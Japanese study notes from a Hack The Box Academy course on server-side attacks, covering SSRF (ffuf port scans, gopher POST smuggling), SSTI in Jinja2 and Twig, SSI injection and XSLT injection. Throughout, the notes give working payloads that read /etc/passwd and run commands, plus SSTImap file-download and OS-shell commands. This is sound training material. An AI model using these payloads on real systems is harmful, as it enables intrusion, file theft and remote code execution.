コース
- Hack The Box Server-side Attacks
概要
サーバーサイドの脆弱性で起きる攻撃について触れる
- SSRF
- サーバーサイドリクエストフォージェリ
- SSTI
- サーバーサイドテンプレートインジェクション(SSTI)
- HTMLなどのレスポンスを動的に生成することがある、そこにテンプレートコードを注入する攻撃
- SSIインジェクション
- サーバーサイドインクルードインジェクション
- SSIディレクティブは、ウェブサーバーに対して追加のコンテンツを動的に読み込ませる命令で、HTMLファイル内に埋め込まれる
- 例えば、全ページに共通するヘッダーやフッターの読み込みなどに利用される
- XSLTサーバーサイドインジェクション
- 拡張スタイルシート言語変換サーバーサイドインジェクション
- XSLT : XMLドキュメントをHTMLなど別の形式に変換するための言語
- サーバー上で行われるXSLT変換を攻撃者が操作できる場合に発生する脆弱性
- XSLT変換の処理方法に問題がある場合に攻撃者が任意のコードをサーバー上で実行できるようになる
SSRF
- ユーザーの入力に基づいてリモートリソースを取得するような構成になっている場合、攻撃者は任意のURLをサーバーにリクエストさせるよう誘導できる可能性がある
- アイコンの画像をオンラインのリンクからも取得できるようになってる時とか
- ウェブアプリケーションがユーザー指定のURLスキーム(またはプロトコル)に依存している場合
- 攻撃者はそのスキームを操作することで、さらに深刻な不正動作を引き起こす可能性がある
http://
およびhttps://
- これらのスキームは、HTTP/HTTPSリクエストを通じてコンテンツを取得する
- 攻撃者はこれを利用して
- WAF(Web Application Firewall)の回避
- 制限されたエンドポイントへのアクセス
- または内部ネットワーク上のエンドポイントへのアクセスを試みることがある
file://
- ローカルファイルシステム上のファイルを読み取りする
- LFIできる
gopher://
- 古いプロトコル
- HTTPの前のプロトコルで情報検索プロトコルの一つ
- ファイル転送もできる
- 何でSSRFでGopherを使うのか
- HTTPで、POST送れないけど、gopherなら送れる的じゃん的な感じの使い方
- 自分で構築したPOSTリクエストをバイト単位で送信できるので、認証バイパスやコマンド実行なども可能になる
- HTTPは、GETやPOSTなど特定の形式のリクエストを送信するように設計されている
- HTTPで、POST送れないけど、gopherなら送れる的じゃん的な感じの使い方
- このプロトコルは、指定されたアドレスに対して任意のバイトデータを送信することができる
- 攻撃者はこれを使って、任意のペイロードを含むHTTP POSTリクエストを送信したり、SMTPサーバーやデータベースなどの他のサービスと通信することが可能になる
- 古いプロトコル
SSRFの識別
- アップロードとか、ユーザーが入力できる部分で、SSRFができる場合がある
- そこに、攻撃者のIPを入れて、ncで待ち受けることで、リクエストが飛んでくる可動かを確認できる
システムの列挙
- このSSRF脆弱性を利用して、システム内部のポートスキャンが行える
- 特定のポートが開いているかどうかは、SSRFリクエストに対するレスポンスから判断できる
- 閉じていると推定されるポート(例:81)を指定した場合、次のような接続エラーが返される
ffufによるポートスキャンの自動化
- スキャンしたいポート番号のリスト(例:1~10000)を作成する
seq 1 10000 > ports.txt
- ffuf を使ってスキャンを行い、先ほどのエラーメッセージが含まれないレスポンス(つまりポートが開いている)をフィルタリングする
└─$ ffuf -w ./ports.txt -u http://10.129.183.53/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.183.53/index.php
:: Wordlist : FUZZ: /home/kali/Desktop/HTBAcademy/Server-Side-Attacks/ports.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Failed to connect to
________________________________________________
80 [Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 4107ms]
3306 [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 296ms]
:: Progress: [10000/10000] :: Job [1/1] :: 139 req/sec :: Duration: [0:01:20] :: Errors: 0 ::
ffufによるディレクトリリバーサル
- 空いている内部ポートを見つけたが、403になる
- 存在しないディレクトリにアクセスしているため
- ffufで、ディレクトリトラバーサルをすることで、存在しているディレクトリを洗い出すことができる
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"
<SNIP>
[Status: 200, Size: 361, Words: 55, Lines: 16, Duration: 3872ms]
* FUZZ: admin
[Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 6ms]
* FUZZ: availability
LFI
POSTリクエストに、「file://」を利用することによって、Localfileを読み出すことだできる
gopherプロトコル
- SSRFを使用して制限された内部エンドポイントにアクセスできる
- http:// URLスキームではPOSTリクエストを送信する方法がないため、GETリクエストに制限される
- ご覧のとおり、管理エンドポイントはログインプロンプトによって保護されている
- HTMLフォームから、
/admin.php
にPOSTリクエストを送信し、adminpw POSTパラメーターにパスワードを含める必要があると推測できる - しかし、
http://
URLスキームを使用してこのPOSTリクエストを送信する方法はない
- 代わりに、gopher URLスキームを使用して、TCPソケットに任意のバイトを送信できる
- このプロトコルを使用すると、HTTPリクエストを自分で構築することでPOSTリクエストを作成できる
- HTMLフォームから、
HTTPだとこんな感じだよね
POST /admin.php HTTP/1.1
Host: dateserver.htb
Content-Length: 13
Content-Type: application/x-www-form-urlencoded
adminpw=admin
これをgopherにする
- gopherにするときのポイント
- すべての特殊文字をURLエンコードする必要がある
- データにgopher URLスキーム、ターゲットホストとポート、およびアンダースコアをプレフィックスとして付ける必要があり
gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20dateserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin
ウェブアプリケーションがこのURLを処理すると、指定されたバイトがターゲットに送信される
- 有効なPOSTリクエストを表すようにバイトを慎重に選択したため、内部ウェブサーバーはPOSTリクエストを受け入れ、それに応じて応答する
- URLをHTTP POSTパラメーターdateserver内で送信しているため、dateserver自体がURLエンコードされているため、ウェブサーバーがURLを受け入れた後に正しい形式であることを保証するために、URL全体を再度URLエンコードする必要がある
- そうしないと、「Malformed URL」エラーが発生する
- gopher URL全体をもう一度URLエンコードした後、最終的に次のリクエストを送信できる
POST /index.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 265
Content-Type: application/x-www-form-urlencoded
dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%252F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01
- 内部管理エンドポイントは提供されたパスワードを受け入れ、管理者ダッシュボードにアクセスできる
gopherプロトコルは、HTTPサーバーだけでなく、多くの内部サービスと対話するために使用できる
しかし作るのが大変なので、以下のツールでGopher URLを生成することができる
- https://github.com/tarunkant/Gopherus
- ツールを実行するには、有効なPython2のインストールが必要
- ポイント
- MySQL
- PostgreSQL
- FastCGI
- Redis
- SMTP
- Zabbix
- pymemcache
- rbmemcache
- phpmemcache
- dmpmemcache
ブラインドSSRF
- 多くの現実のSSRF脆弱性では、応答が直接私たちに表示されない
- SSRF先のレスポンスが表示されない
- 何もエラーも表示されない
- 今までの攻撃手法は使えない
ブラインドSSRFの特定
-
特定手法はブラインドでないものと一緒
-
ローカルで、netcatを立ち上げて、サイトにアクセスさせてリクエストが飛んでくるかどうかで見分けられる
-
ウェブアプリケーションをそれ自体にポイントしようとすると、応答が強制されたリクエストのHTML応答を含まず、代わりに日付が利用できないことを単に通知するだけ
- ブラインドSSRFであることがわかる
- ブラインドSSRFであることがわかる
システムの列挙
- ブラインドSSRF脆弱性の悪用は、非ブラインドSSRF脆弱性と比較して一般的に制限される
- しかし、ウェブアプリケーションの動作によっては、開いているポートと閉じているポートで応答が異なる場合、(制限された)システムのローカルポートスキャンを実行できる可能性がある
例
-
ウェブアプリケーションは閉じているポートに対して「Something went wrong!」と応答する
-
しかし、ポートが開いていて有効なHTTP応答を返す場合は、異なるエラーメッセージが表示される
-
でも、空いててもHTTPを返さないことによって、実行中のサービスを特定できない場合がある
-
file://
でも、存在しているファイルと存在しないファイルでエラーメッセージが変わることがある
存在するファイル
存在しないファイル
SSTI
テンプレートエンジン
- テンプレートエンジンとは、あらかじめ定義されたテンプレートと動的に生成されたデータを組み合わせるソフトウェア
- Webアプリケーションが動的なレスポンスを生成する際によく使用される
- 例
- 全ページに共通のヘッダーやフッターがあるWebサイト
- テンプレートを使えば、ヘッダーとフッターはそのままにして、中身のコンテンツだけを動的に変更できる
- コードの重複が減り、複雑さが軽減され、保守性が向上する
- jinja・Twig
- 例
テンプレート処理の必要な入力
- テンプレート
- 文字列・ファイル形式
- 挿入する値のセット
- キーと値のペア
テンプレート
- 動的な値を挿入するための変数があらかじめ定義
エンジン
- 指定されたキーに対応する値をテンプレートの対応箇所に埋め込む
このテンプレートにエンジンを埋め込むことをレンダリングという
Jinjaはこんな感じ
- レンダリング時にnameが動的な値に置き換えられる感じ
- テンプレートエンジンはテンプレート内の変数を、提供された動的な値に単純に置き換えるだけ
Hello {{ name }}!
でもこんな感じで、条件分岐とかループも行える
以下は、names という変数のすべての要素に対してループ処理を行う for ループ例
{% for name in names %}
Hello {{ name }}!
{% endfor %}
namesにこのように設定すると、names=["vautia", "21y4d", "Pedant"]
以下のように出力する
Hello vautia!
Hello 21y4d!
Hello Pedant!
SSTIの概要
SSTI : サーバーサイドテンプレートインジェクション
-
テンプレートエンジンは、ユーザーの入力がレンダリング関数の「値」として適切に渡される限り、安全に処理することが可能
- テンプレートエンジンは単にテンプレート内の所定の場所に値を挿入するだけであり、その値内のコードを実行することはないから
-
テンプレート処理が正しく実装されていれば、ユーザー入力は常に「値」としてレンダリング関数に渡され、テンプレート文字列の一部になることはない
じゃあ、いつSSTIが発生するのか
- レンダリング関数が呼ばれる前に、ユーザー入力がテンプレート文字列に埋め込まれる場合
- テンプレートが複数回レンダリングされる場合
- たとえば、最初のレンダリングで生成された出力にユーザー入力を追加し、それを再びテンプレートとしてレンダリングすると、そのユーザー入力はテンプレートコードとして扱われてしまう可能性がある
- ユーザーがテンプレート自体を編集または送信できるようなWebアプリケーション
- SSTI 脆弱性が明確に存在することになる
表で動いているサイトだけが、SSTIの脆弱性を持つわけではない
- 裏でapiとして叩かれるサイトがSSTIの脆弱性を持っていることもある
SSTIの確認
ユーザーの入力がそのまま表示される時に発生しがち
SQLインジェクションと同じように、テンプレートエンジンで使われている特殊文字を使って、テスト文字列を使う
${{<%[%'"}}%\.
上を入力した時に、「500 Internal Server Error」が怒るときは、SSTIの脆弱性があるかもしれない
テンプレートエンジンの特定
-
エンジンによって、挙動に微妙な違いがあるため、エンジンを特定する必要がある
-
{{7*'7'}}のところの出力の分岐
- Jinja2 :
7777777
- Twig :
49
- Jinja2 :
-
テンプレートエンジンがわかったら、以下でペイロードを探すことができる
Jinja2でのSSTI
- Jinjaは、PythonのWebフレームワーク(FlaskやDjangoなど)でよく使用されるテンプレートエンジン
- Flaskを使用したWebアプリケーションを例に解説する
- ペイロードでは、Pythonアプリケーション内で(直接または間接的に)すでにインポートされているライブラリを自由に利用できる
- また、import文を使って追加のライブラリをインポートすることも可能
情報漏洩
- SSTI脆弱性を使って、Webアプリケーションの内部情報(設定情報やソースコードなど)を取得できる
- 例えば、以下のSSTIペイロードを使用すると、アプリケーションの設定を取得できる
{{ config.items() }}
このペイロードにより、使用されているシークレットキーを含む全設定情報が表示されるため、さらなる攻撃の準備に利用できる
- また、アプリケーションのソースコードに関する情報も取得可能
- 以下のペイロードを使うと、Pythonの組み込み関数一覧がダンプされる
{{ self.__init__.__globals__.__builtins__ }}
LFI
- Pythonの組み込み関数 open() を使えば、ローカルファイルを読み込める
- この関数を直接呼び出すのではなく、先ほど取得した builtins 辞書から呼び出す必要がある
- たとえば、/etc/passwd ファイルを読み込むペイロードは以下の通り
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
RCE
- os ライブラリの system や popen 関数を利用できる
- ただし、このライブラリがWebアプリケーションでまだインポートされていない場合は、import 関数を使ってインポートする必要がある
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
SSTIでコマンド実行する際の空白に関する注意点
- SSTI経由でコマンドを含むURLを送信する場合、空白(スペース)をURLエンコード(%20)しただけではエラーになることがある。
- 特に
.popen('')
内の文字列がそのまま実行されるようなケースで発生しやすい。 - 一方、空白をそのままテンプレート内に書いてもパースエラーになることがある。
- このような場合は、空白の代わりに {IFS}(Internal Field Separator) を使ってコマンドを構築することで回避できる。
Twig
- Twigは、PHPプログラミング言語用のテンプレートエンジン
情報漏洩
- 現在のテンプレートに関する少しの情報を取得できる
- 取得できる情報は、「テンプレート名の文字列、IPアドレス、現在時刻を表示」と限定的
これ全然、{{_self}}
でも大丈夫
- 取得できる情報は、「テンプレート名の文字列、IPアドレス、現在時刻を表示」と限定的
{{ _self }}
LFI
- Twigの内部関数だけでは、Jinjaのようにローカルファイルを直接読み込むことはできない
- PHPのWebフレームワークSymfonyでは、Twigに対して追加のフィルターを定義している
- file_excerpt フィルター
- ローカルファイルを読み取ることが可能
- file_excerpt フィルター
{{ "/etc/passwd"|file_excerpt(1,-1) }}
RCE
- リモートコード実行を行うには、PHPの組み込み関数 system などを使用する
- Twigの filter 機能を使うことで、関数に引数を渡す形で次のようなSSTIペイロードが可能
{{ ['id'] | filter('system') }}
SSTIでコマンド実行する際の空白に関する注意点
- SSTI経由でコマンドを含むURLを送信する場合、空白(スペース)をURLエンコード(
%20
)しただけではエラーになることがある。- これはおそらく
['コマンド']
のように、文字列がそのまま実行されているため - 一方、空白をそのままテンプレート内に書いてもパースエラーになることがある。
- これはおそらく
- このような場合は、空白の代わりに
{IFS}
などを使うことで回避できる{{['ls{IFS}../']|filter('system') }}
- 参考 : Web Page, Web App#スペースフィルターのバイパス
自動特定ツール
- SSTIの特定および悪用に最もよく使われていたツール
git clone https://github.com/vladko312/SSTImap
cd SSTImap
pip3 install -r requirements.txt
python3 sstimap.py
ファイルのダウンロード
snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -D '/etc/passwd' './passwd'
<SNIP>
[+] File downloaded correctly
コマンドの実行
snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test -S id
<SNIP>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
OSシェルの実行
snowyowl644@htb[/htb]$ python3 sstimap.py -u http://172.17.0.2/index.php?name=test --os-shell
<SNIP>
[+] Run commands on the operating system.
Linux $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux $ whoami
www-data
SSIインジェクション
- Server-Side Includes(SSI) は、WebアプリケーションがHTMLページに動的コンテンツを追加するために使用する技術
- Apache や IIS などの多くの人気Webサーバーでサポートされている
SSIの使用は、以下のファイルの拡張子から推測できる
.shtml
.shtm
.stm
- Webサーバーの設定によっては任意の拡張子のファイルにSSIディレクティブを使用できるようにすることも可能
- なので、拡張子だけでSSIの使用有無を判断することはできない
SSIディレクティブ
- SSIでは、静的なHTMLページに動的コンテンツを挿入するために「ディレクティブ」を使用する
- ディレクティブの構成
- name:ディレクティブの名前
• parameter name:1つ以上のパラメータ名
• value:1つ以上のパラメータ値
- name:ディレクティブの名前
SSIディレクティブの構文例
<!--#name param1="value1" param2="value" -->
よく使われるSSIディレクティブ
環境変数の表示
<!--#printenv -->
SSIの設定を変更する・エラーメッセージを変更する例
<!--#config errmsg="Error!" -->
var パラメータで指定した変数の値を表示する
- 複数の var パラメータを指定することで、複数の変数を表示できる
- 使える変数例
• DOCUMENT_NAME:現在のファイル名
• DOCUMENT_URI:現在のファイルのURI
• LAST_MODIFIED:最終更新日時
• DATE_LOCAL:サーバーのローカル時刻
<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->
指定したコマンドの実行
<!--#exec cmd="whoami" -->
Webルートディレクトリ内のファイルを読み込み、挿入
<!--#include virtual="index.html" -->
概要
- SSIインジェクションとは、攻撃者がSSIディレクティブをファイルに挿入し、それがWebサーバーによって処理されることによって、悪意あるコードが実行される脆弱性
発生する可能性がある場面
- Webアプリケーションに脆弱なファイルアップロード機能が存在し、攻撃者がSSIディレクティブを含む悪意あるファイルをWebルートにアップロードできる場合
- Webアプリケーションがユーザー入力をファイルとしてWebルートに保存するような処理を行っている場合
確認
-
ファイル名が、以下のいずれかの時
-
.shtml
-
.shtm
-
.stm
-
入力されたユーザー名が適切に無害化(サニタイズ)されず、そのままページ内に埋め込まれている場合
悪用
ユーザーの入力をそのまま使用している
ここの入力欄にSSIインジェクションを仕掛ける
環境編集の取得したい時
<!--#printenv -->
任意のコマンドを入れる時
<!--#exec cmd="id" -->
XSLTインジェクション
-
XSLT(eXtensible Stylesheet Language Transformation) は、XMLドキュメントを変換するための言語
-
特定のノードを選択したり、XML構造を変更したりすることができる
-
XSLT は XML ベースのデータを操作する
これはただのXML
<?xml version="1.0" encoding="UTF-8"?>
<fruits>
<fruit>
<name>Apple</name>
<color>Red</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Banana</name>
<color>Yellow</color>
<size>Medium</size>
</fruit>
<fruit>
<name>Strawberry</name>
<color>Red</color>
<size>Small</size>
</fruit>
</fruits>
XMLを操作するのが、XSLT
-
XML ドキュメントからデータを取得してフォーマットするためのテンプレートを定義するために使われる
-
XSLT のデータ構造は XML に似ていますが、xsl: プレフィックスを持つ XSL 要素を含んでいる
- 以下は一般的に使用される XSL 要素の一部
<xsl:template>
:テンプレートを定義する要素で、適用対象の XML のパスを match 属性で指定できる<xsl:value-of>
:select 属性で指定した XML ノードの値を抽出する<xsl:for-each>
:select 属性で指定したノードに対してループ処理を行う
-
全ての果物とその色を出力する簡単な XSLT ドキュメント
- テンプレートは、
<fruits>
ノードに適用される
- テンプレートは、
-
テンプレートの中では、静的な文字列「Here are all the fruits:」と、全ての
<fruit>
ノードをループ処理し、それぞれの<name>
と<color>
の値を表示
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all the fruits:
<xsl:for-each select="fruit">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
XMLとXSLTを組み合わせると、こんな感じの出力になる
Here are all the fruits:
Apple (Red)
Banana (Yellow)
Strawberry (Red)
その他よく出てくるXSL要素
<xsl:sort>
:select 属性でループ内の要素のソート順を指定できます。order 属性で昇順または降順を選べる<xsl:if>
:特定のノードに対して条件分岐を行いたい場合に使用します。条件は test 属性で指定
例えば、サイズが「Medium」の果物のみを色の降順で並べたリストを作成するにはこうする
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all fruits of medium size ordered by their color:
<xsl:for-each select="fruit">
<xsl:sort select="color" order="descending" />
<xsl:if test="size = 'Medium'">
<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:if>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
出力
Here are all fruits of medium size ordered by their color:
Banana (Yellow)
Apple (Red)
概要
- ユーザー入力がXSLデータに挿入され、それがXSLTプロセッサによって出力生成時に処理されることで、意図しない動作が引き起こされる攻撃
- 攻撃者はこれにより、任意のXSL要素を挿入して実行させることが可能になる
確認
- ユーザーの入力があるか
- サニタイズされずに表示されるか
- モジュール情報をXMLドキュメントに保存し、XSLTでそのデータを表示している場合、XSLT処理の前にユーザー名が無処理で挿入されていれば、XSLTインジェクションの脆弱性が存在する可能性がある
- 壊れたXMLタグを注入して、アプリケーションにエラーを発生させてみる
<
- このリクエストに対して、アプリケーションは 500 Internal Server Error を返してくると、なんらかのセキュリティの問題が存在している証拠
情報漏洩
使用されているXSLTプロセッサに関する基本情報を取得するため、以下のようなXSLT要素を注入する
Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />
Webアプリケーションは以下のようにバージョンやベンダーの詳細を含んだレスポンスを返してくる
- ここから、アプリケーションは libxslt ライブラリを使用しており、XSLTバージョン1.0をサポートしていることが推測できる
Local File Inclusion
- ローカルファイルを読み取るために、いくつかの関数を使うことができる
- XSLTのバージョンやライブラリの設定によって異なる
unparsed-text 関数を使うとファイルを読み取れる
- この関数は XSLT 2.0以降で導入されたものなので、使えない場合がある
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />
XSLTライブラリが PHP関数の呼び出しをサポートしている場合、以下のようにして file_get_contents 関数を使うことができる
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />
RCE
XSLTプロセッサがPHP関数をサポートしている場合、RCEできる
たとえば、system 関数を呼び出して以下のように id コマンドを実行できる
<xsl:value-of select="php:function('system','id')" />